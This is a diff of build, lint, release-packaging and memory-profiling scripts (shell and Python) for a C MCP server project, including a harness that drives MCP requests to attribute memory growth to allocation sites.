# scripts/lint.sh # All 3 linters
# scripts/lint.sh CLANG_FORMAT=clang-format-20 # Override formatter
# scripts/lint.sh --ci # CI mode (skip clang-tidy)
#
# This script is the SINGLE source of truth for linting.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
usage() {
cat <<'EOF'
Usage: scripts/lint.sh [--ci] [VAR=VAL ...]
The canonical lint entry: CI (_lint.yml) calls this script; it drives the same
Makefile.cbm lint targets `make lint`/`make lint-ci` run, plus the no-skips
policy check. Runs clang-tidy + cppcheck + clang-format by default.
Options:
--ci CI mode: cppcheck + clang-format only (no clang-tidy) —
exactly what _lint.yml gates on. `make lint-ci` uses this.
VAR=VAL Forwarded to make, e.g. CLANG_FORMAT=clang-format-20.
NOTE: the project formatter is the Homebrew LLVM build; a
standalone clang-format-20 produces false whole-file drift.
-h, --help This text.
EOF
}
# Check for --ci flag (skip clang-tidy for platforms without it)
CI_ONLY=false
MAKE_ARGS=()
for arg in "$@"; do
if [ "$arg" = "-h" ] || [ "$arg" = "--help" ]; then
usage; exit 0
elif [ "$arg" = "--ci" ]; then
CI_ONLY=true
else
# STRICT: only VAR=VAL make passthrough beyond the known flags.
case "$arg" in
*=*) MAKE_ARGS+=("$arg") ;;
*)
echo "lint.sh: unknown argument '$arg'. Please consult --help." >&2
exit 2
;;
esac
fi
done
print_env "lint.sh"
# No-skips policy: every test must pass or fail. The only tolerable skip is a
# genuinely platform-specific test (SKIP_PLATFORM / #ifdef). Runs in both modes.
echo "=== no-skips policy (tests pass or fail) ==="
bash "$ROOT/scripts/check-no-test-skips.sh"
if $CI_ONLY; then
echo "=== CI mode: cppcheck + clang-format ==="
make -j2 -f Makefile.cbm lint-ci "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
echo "=== CI linters passed ==="
else
echo "=== Full lint: clang-tidy + cppcheck + clang-format ==="
make -j3 -f Makefile.cbm lint "${MAKE_ARGS[@]+"${MAKE_ARGS[@]}"}"
fi
echo "=== All linters passed ==="
+108
View File
@@ -0,0 +1,108 @@
#!/usr/bin/env python3
"""Drive a fixed sequence of MCP requests over stdio and wait for each reply.
Batching all requests and closing stdin does not work: the server treats EOF as
the client disconnecting and shuts down before answering, so the run produces a
census of a process that never did any work. Reading each response before
sending the next also makes the workload deterministic — every request is
serviced from the same steady state, which is what makes two runs comparable.
"""
import argparse
import json
import subprocess
import sys
import time
def rpc(proc, payload, timeout_note):
proc.stdin.write(json.dumps(payload) + "\n")
proc.stdin.flush()
while True:
line = proc.stdout.readline()
if not line:
raise RuntimeError(f"server closed stdout while waiting for {timeout_note}")
line = line.strip()
if not line.startswith("{"):
continue
try:
message = json.loads(line)
except json.JSONDecodeError:
continue
if message.get("id") == payload.get("id"):
return message
def main():
parser = argparse.ArgumentParser()
parser.add_argument("binary")
parser.add_argument("corpus")
parser.add_argument("requests", type=int)
parser.add_argument("--stderr", help="file for the server's stderr; never discard it")
parser.add_argument("--tool", default="search_graph",
help="tool to repeat; varying it isolates which path leaks")
parser.add_argument("--idle-seconds", type=float, default=0.0,
help="pause midway; separates per-request growth from per-second growth")
parser.add_argument("--skip-index", action="store_true",
help="omit the initial index, to separate store setup from the loop")
args = parser.parse_args()
proc = subprocess.Popen(
[args.binary],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
# Never DEVNULL: when the server refuses to start, its stderr is the
# only thing that says why.
stderr=open(args.stderr, "w") if args.stderr else None,
text=True,
bufsize=1,
)
served = 0
failures = 0
try:
rpc(proc, {"jsonrpc": "2.0", "id": 0, "method": "initialize",
"params": {"protocolVersion": "2024-11-05", "capabilities": {},
"clientInfo": {"name": "memlab", "version": "1"}}},
"initialize")
if not args.skip_index:
indexed = rpc(proc, {"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {"name": "index_repository",
"arguments": {"path": args.corpus}}},
"index_repository")
if "error" in indexed:
print(f"index failed: {indexed['error']}", file=sys.stderr)
return 3
halfway = 2 + args.requests // 2
for i in range(2, args.requests + 2):
if args.idle_seconds > 0 and i == halfway:
# Nothing is requested during this gap. Any commit growth across
# it belongs to a background thread, not the request path.
print(f"idle-start id={i}", flush=True)
time.sleep(args.idle_seconds)
print(f"idle-end id={i}", flush=True)
arguments = {"search_graph": {"name_pattern": ".*Widget.*", "limit": 10},
"list_projects": {},
"get_graph_schema": {},
"search_code": {"pattern": "Widget"}}.get(args.tool, {})
reply = rpc(proc, {"jsonrpc": "2.0", "id": i, "method": "tools/call",
"params": {"name": args.tool, "arguments": arguments}},
f"request {i}")
served += 1
if "error" in reply:
failures += 1
finally:
try:
proc.stdin.close()
except Exception:
pass
try:
proc.wait(timeout=30)
except subprocess.TimeoutExpired:
proc.kill()
print(f"served={served} failed={failures}")
return 0 if served == args.requests and failures == 0 else 1
if __name__ == "__main__":
sys.exit(main())
+157
View File
@@ -0,0 +1,157 @@
#!/usr/bin/env python3
"""Analyse #581 memory-lab output: attribute growth to allocation sites.
Reads the JSONL the profiler appends (CBM_MEM_PROFILE_OUT) and the mem.census
lines from a daemon log, and prints:
* retention per request, as a linear fit rather than first-vs-last, so noise
does not masquerade as a trend
* the call sites whose live bytes grow across the run, ranked by growth
* an explicit unattributed remainder: process growth the profiler could not
account for. That number is the honesty check — a report that attributed
everything while tracking only >=32 KiB allocations would be lying.
Usage:
memlab-report.py <profile.jsonl> [--census <daemon.log>] [--top N]
memlab-report.py <a.jsonl> --diff <b.jsonl> # platform comparison
"""
import argparse
import json
import re
import sys
from collections import defaultdict
def load_profile(path):
"""Return (summaries, site_series). Records are appended over time, so the
Nth occurrence of a site is its Nth sample."""
summaries, series = [], defaultdict(list)
with open(path, "r", errors="replace") as handle:
for line in handle:
line = line.strip()
if not line.startswith("{"):
continue
try:
record = json.loads(line)
except json.JSONDecodeError:
continue
if "site" in record:
series[record["site"]].append(record)
else:
summaries.append(record)
return summaries, series
def linear_slope(values):
"""Least-squares slope over sample index. Resistant to the single-outlier
reading that a first-vs-last delta would treat as the whole trend."""
n = len(values)
if n < 2:
return 0.0
mean_x = (n - 1) / 2.0
mean_y = sum(values) / n
num = sum((i - mean_x) * (v - mean_y) for i, v in enumerate(values))
den = sum((i - mean_x) ** 2 for i in range(n))
return num / den if den else 0.0
def parse_census(path):
"""Pull the pool totals out of mem.census log lines."""
fields = ("priv_kb", "rss_kb", "crt_kb", "biggest_kb", "prof_live_kb")
rows = []
pattern = re.compile(r"(\w+)=(\S+)")
with open(path, "r", errors="replace") as handle:
for line in handle:
if "mem.census" not in line:
continue
kv = dict(pattern.findall(line))
if not any(f in kv for f in fields):
continue
rows.append({f: int(kv[f]) for f in fields if f in kv and kv[f].isdigit()})
return rows
def report(path, census_path, top):
summaries, series = load_profile(path)
if not summaries and not series:
print(f"{path}: no profiler records — was CBM_MEM_PROFILE=1 set?")
return
last = summaries[-1] if summaries else {}
print(f"=== {path} ===")
if last:
print(f"threshold : {last.get('threshold', 0)} bytes "
f"(allocations below this are invisible by design)")
print(f"sites seen : {last.get('sites', 0)}")
print(f"attributed live: {last.get('live_bytes', 0)/1048576:.1f} MB "
f"in {last.get('live_blocks', 0)} blocks")
lost = last.get("site_table_full", 0) + last.get("pointer_table_full", 0)
if lost:
print(f"RECORDS LOST : {lost} — tables exhausted, treat totals as a floor")
growth = []
for site, samples in series.items():
live = [s["live_bytes"] for s in samples]
slope = linear_slope(live)
if slope <= 0 and live[-1] <= live[0]:
continue
growth.append((slope, live[-1] - live[0], live[-1], samples[-1]))
growth.sort(key=lambda row: row[0], reverse=True)
print(f"\n--- sites whose retained bytes GROW (top {top}) ---")
if not growth:
print("none — no tracked site retains more over time.")
for slope, delta, live, sample in growth[:top]:
frames = " <- ".join(sample.get("frames", [])[:4])
print(f" +{slope/1024:8.1f} KB/sample total +{delta/1048576:6.2f} MB "
f"live {live/1048576:6.2f} MB")
print(f" {frames}")
if census_path:
rows = parse_census(census_path)
if rows:
priv = [r["priv_kb"] for r in rows if "priv_kb" in r]
prof = [r["prof_live_kb"] for r in rows if "prof_live_kb" in r]
print(f"\n--- pools vs attribution ({len(rows)} samples) ---")
if priv:
print(f" private committed : {priv[0]/1024:.1f} -> {priv[-1]/1024:.1f} MB "
f"({linear_slope(priv):+.1f} KB/sample)")
if prof and priv:
unattributed = (priv[-1] - priv[0]) - (prof[-1] - prof[0])
print(f" attributed growth : {(prof[-1]-prof[0])/1024:+.1f} MB")
print(f" UNATTRIBUTED : {unattributed/1024:+.1f} MB "
"<- below-threshold allocations, allocator metadata, or fragmentation")
def diff(path_a, path_b, top):
"""Same sites, two platforms: what does one retain that the other does not?"""
_, series_a = load_profile(path_a)
_, series_b = load_profile(path_b)
rows = []
for site, samples in series_a.items():
a_live = samples[-1]["live_bytes"]
b_live = series_b[site][-1]["live_bytes"] if site in series_b else 0
if a_live - b_live > 0:
rows.append((a_live - b_live, a_live, b_live, samples[-1]))
rows.sort(key=lambda row: row[0], reverse=True)
print(f"=== {path_a} minus {path_b} (top {top}) ===")
for delta, a_live, b_live, sample in rows[:top]:
print(f" +{delta/1048576:7.2f} MB A={a_live/1048576:.2f} MB B={b_live/1048576:.2f} MB")
print(f" {' <- '.join(sample.get('frames', [])[:4])}")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("profile")
parser.add_argument("--census")
parser.add_argument("--diff")
parser.add_argument("--top", type=int, default=12)
args = parser.parse_args()
if args.diff:
diff(args.profile, args.diff, args.top)
else:
report(args.profile, args.census, args.top)
return 0
if __name__ == "__main__":
sys.exit(main())
+140
View File
@@ -0,0 +1,140 @@
#!/usr/bin/env bash
#
# memlab.sh — deterministic memory-attribution run for #581.
#
# The soak answers "did memory grow over eight minutes"; this answers "which
# allocation sites retained it", in about a minute, with a fixed request count
# so two runs are directly comparable. Everything that made soak numbers hard
# to compare — wall-clock duration, background reindexes, crash-recovery
# phases, throughput differences between builds — is deliberately absent.
#
# Usage: scripts/memlab.sh <binary> [requests] [label]
#
# Output: memlab-<label>.jsonl (profiler records, one block per sample)
# memlab-<label>.log (daemon log with mem.census lines)
# Analyse with: scripts/memlab-report.py memlab-<label>.jsonl --census memlab-<label>.log
set -u
BINARY="${1:?usage: memlab.sh <binary> [requests] [label]}"
REQUESTS="${2:-200}"
LABEL="${3:-$(uname -s | tr '[:upper:]' '[:lower:]')}"
if [ ! -x "$BINARY" ]; then
echo "FAIL: $BINARY is not executable" >&2
exit 2
fi
WORK=$(mktemp -d 2>/dev/null || mktemp -d -t memlab)
# Native Windows: the server walks the full ancestor chain of both the binary
# and the cache dir and refuses to start when any ancestor grants mutation to
# untrusted SIDs. The repo checkout and the msys /tmp tree both carry such ACEs,
# so the run has to happen from a stamped root under USERPROFILE — the same
# reason soak-test.sh and the guard suites copy their binaries there.
if [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1 &&
! command -v winepath >/dev/null 2>&1; then
WIN_ROOT=$(mktemp -d "$(cygpath "$USERPROFILE")/cbm-memlab.XXXXXX")
WIN_ROOT_W="$(cygpath -w "$WIN_ROOT")"
ME="$(whoami | tr -d '\r')"
MSYS2_ARG_CONV_EXCL='*' icacls "$WIN_ROOT_W" /reset /Q >/dev/null 2>&1 || true
if ! MSYS2_ARG_CONV_EXCL='*' icacls "$WIN_ROOT_W" /inheritance:r \
/grant:r "${ME}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
/Q >/dev/null 2>&1; then
echo "FAIL: could not stamp $WIN_ROOT_W" >&2
exit 1
fi
cp "$BINARY" "$WIN_ROOT/codebase-memory-mcp.exe"
BINARY="$WIN_ROOT/codebase-memory-mcp.exe"
WORK="$WIN_ROOT"
MSYS2_ARG_CONV_EXCL='*' icacls "${WIN_ROOT_W}\\*" /reset /T /C /Q >/dev/null 2>&1 || true
fi
PROFILE_OUT="$PWD/memlab-${LABEL}.jsonl"
RUN_LOG="$PWD/memlab-${LABEL}.log"
rm -f "$PROFILE_OUT" "$RUN_LOG"
cleanup() { rm -rf "$WORK" 2>/dev/null || true; rm -rf "${WIN_ROOT:-}" 2>/dev/null || true; }
trap cleanup EXIT
# A fixed corpus: same file count and content on every platform, so a
# difference in the output cannot come from a difference in the input.
CORPUS="$WORK/corpus"
mkdir -p "$CORPUS/src"
for i in $(seq 1 60); do
cat > "$CORPUS/src/module_$i.py" <<EOF
class Widget$i:
"""Fixed corpus file $i."""
def __init__(self, name):
self.name = name
self.parts = []
def attach(self, part):
self.parts.append(part)
return self
def render(self):
return "-".join(str(p) for p in self.parts)
def build_$i(count):
widget = Widget$i("w$i")
for index in range(count):
widget.attach(index)
return widget.render()
EOF
done
echo "=== memlab: binary=$BINARY requests=$REQUESTS label=$LABEL ==="
echo "corpus: $(find "$CORPUS" -name '*.py' | wc -l | tr -d ' ') files"
# The Windows binary needs a native path here; an msys /c/... path is not one.
if command -v cygpath >/dev/null 2>&1 && ! command -v winepath >/dev/null 2>&1; then
mkdir -p "$WORK/cache"
export CBM_CACHE_DIR="$(cygpath -w "$WORK/cache")"
else
export CBM_CACHE_DIR="$WORK/cache"
fi
export CBM_MEM_PROFILE=1
export CBM_MEM_PROFILE_OUT="$PROFILE_OUT"
export CBM_MEM_CENSUS=1
export CBM_LOG_LEVEL=info
export CBM_LOG_FORMAT=text
mkdir -p "$CBM_CACHE_DIR"
# Drive the MCP stdio path via the request/response driver (see its header for
# why batching into a closed stdin does not work).
# The VM's python3 is a NATIVE win32 build, so it cannot open msys paths like
# /c/Users/... . Hand it Windows paths, or it starts nothing and the failure
# looks like the server closing stdout.
DRIVE_BINARY="$BINARY"
DRIVE_CORPUS="$CORPUS"
DRIVE_STDERR="$WORK/server-stderr.log"
if command -v cygpath >/dev/null 2>&1 && ! command -v winepath >/dev/null 2>&1; then
DRIVE_BINARY="$(cygpath -w "$BINARY")"
DRIVE_CORPUS="$(cygpath -w "$CORPUS")"
DRIVE_STDERR="$(cygpath -w "$WORK/server-stderr.log")"
fi
python3 "$(dirname "$0")/memlab-drive.py" "$DRIVE_BINARY" "$DRIVE_CORPUS" "$REQUESTS" --tool "${MEMLAB_TOOL:-search_graph}" --idle-seconds "${MEMLAB_IDLE:-0}" --stderr "$DRIVE_STDERR" > "$WORK/drive.out" 2>&1
RC=$?
# With CBM_CACHE_DIR set the process logs to its own file rather than stderr,
# so fold that in or the census series is invisible.
cat "$WORK"/cache/logs/*.log >> "$RUN_LOG" 2>/dev/null || true
cat "$WORK/server-stderr.log" >> "$RUN_LOG" 2>/dev/null || true
RESPONSES=$(sed -n "s/.*served=\\([0-9]*\\).*/\\1/p" "$WORK/drive.out" | head -1); RESPONSES=${RESPONSES:-0}
CENSUS=$(grep -c "mem.census" "$RUN_LOG" 2>/dev/null | head -1); CENSUS=${CENSUS:-0}
SITES=$(grep -c '"site"' "$PROFILE_OUT" 2>/dev/null | head -1); SITES=${SITES:-0}
echo "exit=$RC responses=$RESPONSES census_samples=$CENSUS profile_records=$SITES"
if [ "$RESPONSES" -eq 0 ]; then
# A harness that hides why it failed is worse than no harness.
echo "--- driver output ---" >&2
cat "$WORK/drive.out" 2>/dev/null | tail -15 >&2
fi
if [ "$CENSUS" -eq 0 ]; then
echo "WARN: no census samples — check CBM_MEM_CENSUS wiring" >&2
fi
if [ "$SITES" -eq 0 ]; then
# Not fatal, but never silent: on macOS there is no --wrap, so the
# profiler legitimately has no observation point.
echo "WARN: no profiler records — expected on macOS (no --wrap); a gap anywhere else" >&2
fi
echo "profile: $PROFILE_OUT"
echo "log: $RUN_LOG"
File diff suppressed because it is too large Load Diff
+197
View File
@@ -0,0 +1,197 @@
#!/usr/bin/env bash
# package-release.sh — THE canonical release-archive step. Every venue that
# turns built binaries into a release archive (release/_build.yml, the local
# artifact-flow smoke lane) runs this file; workflows provide only
# checkout/toolchain/upload around it. Archive names and contents are defined
# HERE, nowhere else, so a local artifact smoke provably exercises the same
# bytes-layout the release publishes.
#
# This script ARCHIVES what scripts/build.sh already produced — it never
# builds the product itself (the Windows launcher image is the one deliberate
# exception: it is part of the archive, not of the product build).
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
usage() {
cat <<'EOF'
Usage: scripts/package-release.sh <goos> <goarch> [--variant standard|ui]
[--out-dir DIR] [VAR=VAL ...]
The canonical release-archive step: identical in the release build and the
local artifact-flow smoke lane.
goos linux | darwin | windows
goarch arch label used verbatim in the archive name (amd64, arm64,
arm64-portable, ...)
--variant standard (default) | ui — selects the archive NAME prefix; the
matching binary must already have been built (--with-ui for ui).
--out-dir where to place the archive (default: repository root).
Make passthrough (VAR=VAL, forwarded to the build):
CC= CXX= compiler override, e.g. CC=clang CXX=clang++.
Environment:
BUILD_DIR build tree to archive from (default build/c).
Archive contents (defined here, canonical) — ONE binary per platform:
unix: codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md (.tar.gz)
windows: codebase-memory-mcp.exe LICENSE install.ps1
THIRD_PARTY_NOTICES.md (.zip)
EOF
}
GOOS=""
GOARCH=""
VARIANT="standard"
OUT_DIR="$ROOT"
MAKE_ARGS=()
expect_value=""
for arg in "$@"; do
case "$expect_value" in
variant) VARIANT="$arg"; expect_value=""; continue ;;
out-dir) OUT_DIR="$arg"; expect_value=""; continue ;;
esac
case "$arg" in
-h | --help) usage; exit 0 ;;
--variant) expect_value="variant" ;;
--variant=*) VARIANT="${arg#--variant=}" ;;
--out-dir) expect_value="out-dir" ;;
--out-dir=*) OUT_DIR="${arg#--out-dir=}" ;;
-*)
echo "package-release: unknown option '$arg'. Please consult --help." >&2
exit 2
;;
*=*) MAKE_ARGS+=("$arg") ;;
*)
if [ -z "$GOOS" ]; then GOOS="$arg"
elif [ -z "$GOARCH" ]; then GOARCH="$arg"
else
echo "package-release: unexpected argument '$arg'. Please consult --help." >&2
exit 2
fi
;;
esac
done
[ -n "$GOOS" ] && [ -n "$GOARCH" ] || { usage >&2; exit 2; }
case "$GOOS" in
linux | darwin | windows) ;;
*) echo "package-release: goos must be linux, darwin or windows." >&2; exit 2 ;;
esac
case "$VARIANT" in
standard) SUFFIX="" ;;
ui) SUFFIX="-ui" ;;
*) echo "package-release: variant must be 'standard' or 'ui'." >&2; exit 2 ;;
esac
[ -n "$expect_value" ] && { echo "package-release: --$expect_value needs a value." >&2; exit 2; }
BUILD_DIR="${BUILD_DIR:-build/c}"
OUT_DIR="$(mkdir -p "$OUT_DIR" && cd "$OUT_DIR" && pwd)"
NAME="codebase-memory-mcp${SUFFIX}-${GOOS}-${GOARCH}"
# Ship every release binary stripped. Production already builds without -g, but
# the linker still keeps a ~536 KB .symtab, so releases carried their full
# symbol table to users: bigger downloads and a free map of the internals, with
# nothing gained. Nothing symbolizes at runtime (mem_profile.c is not in the
# production build and never calls backtrace_symbols), so this costs no
# diagnostics.
#
# It also had a concrete cost. Microsoft's ML scored the unstripped linux-amd64
# binary Trojan:Script/Wacatac.B!ml (1 engine of 62) and blocked release run
# 30398064336 at the VirusTotal gate. That verdict is a decision-boundary
# artifact rather than a property of the code -- the dry-run build two days
# earlier is the same program plus 10 KB and scans clean, and the ui build of
# the same commit was never flagged. Stripping removes the symbol surface those
# models score and cleared BOTH flagged builds (Wacatac.B and Wacatac.C)
# without changing what the program does.
#
# macOS is ad-hoc signed by the build workflow BEFORE this script runs, and
# stripping invalidates that signature, so Mach-O is re-signed here. Skipping
# the re-sign ships a binary the kernel refuses to exec.
strip_release_binary() {
local binary="$1"
[ -f "$binary" ] || return 0
# The right flags differ per format, and the WRONG ones fail silently in
# the dangerous direction. Measured on the flagged darwin-arm64 artifact:
#
# llvm-strip --strip-all 373 symbols scanned CLEAN
# strip (no flags) 378 symbols equivalent
# strip -x -S 4058 symbols the state VirusTotal FLAGGED
# strip -X / -u -r 4058 symbols likewise
#
# Apple's strip returns success for `-x -S`, so a helper that just tries
# candidates until one exits 0 would quietly reship the flagged binary.
# GNU/LLVM `--strip-all` is not even accepted by Apple's strip, which is why
# generalising it to every platform broke the macOS build -- loudly, which
# was the lucky outcome.
#
# So: --strip-all where it is understood, plain `strip` for Mach-O, and a
# hard error when no candidate can do the job. Never a weaker fallback.
local stripped=""
for tool in "${STRIP:-}" llvm-strip strip; do
[ -n "$tool" ] || continue
command -v "$tool" >/dev/null 2>&1 || continue
if "$tool" --strip-all "$binary" 2>/dev/null; then
stripped="$tool --strip-all"
elif [ "$GOOS" = "darwin" ] && "$tool" "$binary" 2>/dev/null; then
stripped="$tool"
fi
[ -n "$stripped" ] && break
done
if [ -z "$stripped" ]; then
echo "package-release: no working strip for $binary" >&2
return 1
fi
if [ "$GOOS" = "darwin" ]; then
command -v codesign >/dev/null 2>&1 &&
codesign --sign - --force "$binary" 2>/dev/null
fi
echo "=== package-release: stripped $(basename "$binary") ==="
return 0
}
if [ "$GOOS" = "windows" ]; then
# Windows ships ONE binary, exactly like every other platform. There is no
# launcher stub: a small unsigned PE whose entire job is to verify and
# execute another binary is statically indistinguishable from a dropper,
# and Defender's ML scored it Trojan:Win32/Wacatac.B!ml on x64 regardless
# of what we changed (bcrypt-free, stripped, versioned, and even
# resource-free builds were all flagged, while the product binary itself
# scans clean on every platform). Self-update — the launcher's whole reason
# to exist — moves OUT of the running process into install.ps1: Windows'
# executable lock only blocks a process from replacing ITSELF.
PAYLOAD="$BUILD_DIR/codebase-memory-mcp"
[ -f "${PAYLOAD}.exe" ] && PAYLOAD="${PAYLOAD}.exe"
[ -f "$PAYLOAD" ] || { echo "package-release: build first; missing $PAYLOAD" >&2; exit 2; }
PACK_DIR="$(mktemp -d "${TMPDIR:-/tmp}/cbm-package.XXXXXX")"
trap 'rm -rf "$PACK_DIR"' EXIT
cp "$PAYLOAD" "$PACK_DIR/codebase-memory-mcp.exe"
strip_release_binary "$PACK_DIR/codebase-memory-mcp.exe" || exit 2
# Gate the artifact AFTER strip: strip is the last byte-changing step, so
# this inspects exactly what goes into the archive. Runs here rather than in
# a workflow step so the local artifact-flow smoke enforces the same thing.
scripts/ci/check-binary-composition.sh --variant="$VARIANT" \
"$PACK_DIR/codebase-memory-mcp.exe" || exit 2
cp LICENSE install.ps1 "$PACK_DIR/"
scripts/gen-third-party-notices.sh "$PACK_DIR/THIRD_PARTY_NOTICES.md"
(
cd "$PACK_DIR"
rm -f "$OUT_DIR/$NAME.zip"
zip -q "$OUT_DIR/$NAME.zip" \
codebase-memory-mcp.exe LICENSE install.ps1 THIRD_PARTY_NOTICES.md
)
echo "=== package-release: $OUT_DIR/$NAME.zip ==="
else
[ -f "$BUILD_DIR/codebase-memory-mcp" ] ||
{ echo "package-release: build first; missing $BUILD_DIR/codebase-memory-mcp" >&2; exit 2; }
strip_release_binary "$BUILD_DIR/codebase-memory-mcp" || exit 2
scripts/ci/check-binary-composition.sh --variant="$VARIANT" \
"$BUILD_DIR/codebase-memory-mcp" || exit 2
cp LICENSE install.sh "$BUILD_DIR/"
scripts/gen-third-party-notices.sh "$BUILD_DIR/THIRD_PARTY_NOTICES.md"
tar -czf "$OUT_DIR/$NAME.tar.gz" -C "$BUILD_DIR" \
codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md
echo "=== package-release: $OUT_DIR/$NAME.tar.gz ==="
fi
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env bash
# Shared destructive-path validation for build/test/clean entrypoints.
cbm_require_safe_build_dir() {
local build_dir="${1-}"
local root="${2:-$PWD}"
local leaf
local physical_root
local physical_build
# Keep cleanup targets to one ordinary repository-owned directory directly
# beneath build/. Besides rejecting absolute and parent-relative paths,
# the single-component rule prevents an intermediate symlink from routing
# rm into a directory outside the repository.
if [[ ! "$build_dir" =~ ^build/[A-Za-z0-9._-]+$ ]]; then
echo "ERROR: BUILD_DIR must be one direct child of build/ (got '$build_dir')" >&2
return 1
fi
leaf="${build_dir#build/}"
if [[ "$leaf" == "." || "$leaf" == ".." ]]; then
echo "ERROR: BUILD_DIR must name an ordinary build/ child (got '$build_dir')" >&2
return 1
fi
if ! physical_root="$(cd "$root" 2>/dev/null && pwd -P)"; then
echo "ERROR: repository root is missing or inaccessible" >&2
return 1
fi
if [ -L "$physical_root/build" ] ||
{ [ -e "$physical_root/build" ] && [ ! -d "$physical_root/build" ]; }; then
echo "ERROR: repository build/ ancestor must be absent or a real directory" >&2
return 1
fi
if [ -d "$physical_root/build" ]; then
if ! physical_build="$(cd "$physical_root/build" 2>/dev/null && pwd -P)" ||
[ "$physical_build" != "$physical_root/build" ]; then
echo "ERROR: repository build/ ancestor resolves outside the repository" >&2
return 1
fi
fi
}
cbm_remove_build_dir() {
local root="${1-}"
local build_dir="${2-}"
local physical_root
local leaf
cbm_require_safe_build_dir "$build_dir" "$root" || return 1
physical_root="$(cd "$root" 2>/dev/null && pwd -P)" || return 1
leaf="${build_dir#build/}"
rm -rf -- "$physical_root/build/$leaf"
}
+72
View File
@@ -0,0 +1,72 @@
#!/usr/bin/env bash
# repro.sh — Build + run the cumulative BUG-REPRODUCTION suite (test-repro).
#
# Unlike test.sh (the gating suite, must be GREEN), this suite is RED by design:
# every case reproduces an open bug. So we distinguish two outcomes:
# - BUILD/LINK failure → real breakage → exit non-zero (fail the CI job).
# - Test redness → EXPECTED → report the count, exit 0 (green board).
#
# Usage: scripts/repro.sh [CC=clang] [CXX=clang++] [--arch arm64|x86_64]
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# --arch before sourcing env.sh (mirrors test.sh)
prev_arg=""
for arg in "$@"; do
case "$arg" in
arm64|x86_64) [[ "$prev_arg" == "--arch" ]] && export CBM_ARCH="$arg" ;;
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
prev_arg="$arg"
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
MAKE_ARGS=""
for arg in "$@"; do
case "$arg" in
CC=*|CXX=*) export "${arg?}" ;;
--arch|--arch=*|arm64|x86_64) ;;
*=*) MAKE_ARGS="$MAKE_ARGS $arg" ;;
esac
done
print_env "repro.sh"
verify_compiler "$CC"
OUT="$ROOT/repro-out.txt"
# A RED reproduction fails its assertion and returns EARLY — before any cleanup —
# so LeakSanitizer would flag benign harness leaks on every red store-level test
# and abort. The board's signal is the FAIL rows, not leak-cleanliness (the leak
# BUG #581 gets a dedicated RSS-growth test, not LSan). Disable leak detection
# only; ASan's real checks (use-after-free, overflow) stay ON.
export ASAN_OPTIONS="detect_leaks=0${ASAN_OPTIONS:+:$ASAN_OPTIONS}"
# test-repro both builds and runs the runner; tolerate its non-zero (red) exit.
set +e
make -j"$NPROC" -f Makefile.cbm test-repro $MAKE_ARGS 2>&1 | tee "$OUT"
set -e
# The runner prints a "<N> passed[, <M> failed]" summary line only if it actually
# ran. No summary line ⇒ the build/link failed ⇒ real breakage.
if ! grep -qE '[0-9]+ passed' "$OUT"; then
echo "::error::bug-repro runner did not execute — build or link failure"
exit 1
fi
reproduced=$(grep -oE '[0-9]+ failed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
green=$(grep -oE '[0-9]+ passed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
{
echo "## Bug-reproduction board — ${OS:-$(uname -s)} ${ARCH:-}"
echo ""
echo "- **${reproduced}** open bug(s) still reproduced (RED — expected)"
echo "- **${green}** case(s) PASSING — candidate-fixed → verify + close the issue + promote the guard to the gating suite"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stderr}"
echo "=== bug-repro board: ${reproduced} reproduced (RED), ${green} passing (candidate-fixed) ==="
# Green board: the suite ran. Redness is the data, not a job failure.
exit 0
+446
View File
@@ -0,0 +1,446 @@
#!/usr/bin/env python3
"""Run one wave of C test suites without nested shell worker processes.
The caller owns suite selection, sharding, and final union/count checks. This
helper owns native child processes directly, writes one result for every suite,
and bounds a child that never exits. Keeping accounting in this single parent
avoids an MSYS2 failure mode where a completed native child left its `bash -c`
worker permanently stuck before the result append.
"""
from __future__ import annotations
import argparse
import os
import pathlib
import re
import signal
import subprocess
import sys
import time
from dataclasses import dataclass
SUITE_NAME = re.compile(r"^[a-z0-9_]+$")
SUMMARY = re.compile(r"^ (?P<passed>[0-9]+) passed")
FAILED = re.compile(r"(?:^|, )(?P<failed>[0-9]+) failed")
SKIPPED = re.compile(r"(?:^|, )(?P<skipped>[0-9]+) skipped")
SLOW_SUITES = frozenset(("incremental", "store_arch", "daemon_runtime"))
POLL_SECONDS = 0.05
@dataclass
class ActiveSuite:
name: str
process: subprocess.Popen[bytes]
log_path: pathlib.Path
log_file: object
started: float
timeout: int
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Run a bounded parallel wave of test-runner suites"
)
parser.add_argument("--suite-file", required=True, type=pathlib.Path)
parser.add_argument("--log-dir", required=True, type=pathlib.Path)
parser.add_argument("--results-file", required=True, type=pathlib.Path)
parser.add_argument("--jobs", required=True, type=int)
parser.add_argument("--timeout", required=True, type=int)
parser.add_argument("--slow-timeout", required=True, type=int)
parser.add_argument("--kill-grace", required=True, type=int)
parser.add_argument(
"--test-post-exit-barrier-dir",
type=pathlib.Path,
help=argparse.SUPPRESS,
)
parser.add_argument(
"--test-pre-terminate-barrier-dir",
type=pathlib.Path,
help=argparse.SUPPRESS,
)
parser.add_argument(
"runner_command",
nargs="+",
help="runner executable and any fixed arguments; suite name is appended",
)
args = parser.parse_args()
for name in ("jobs", "timeout", "slow_timeout", "kill_grace"):
if getattr(args, name) < 1:
parser.error(f"--{name.replace('_', '-')} must be at least 1")
return args
def read_suites(path: pathlib.Path) -> list[str]:
try:
suites = path.read_text(encoding="utf-8").splitlines()
except OSError as exc:
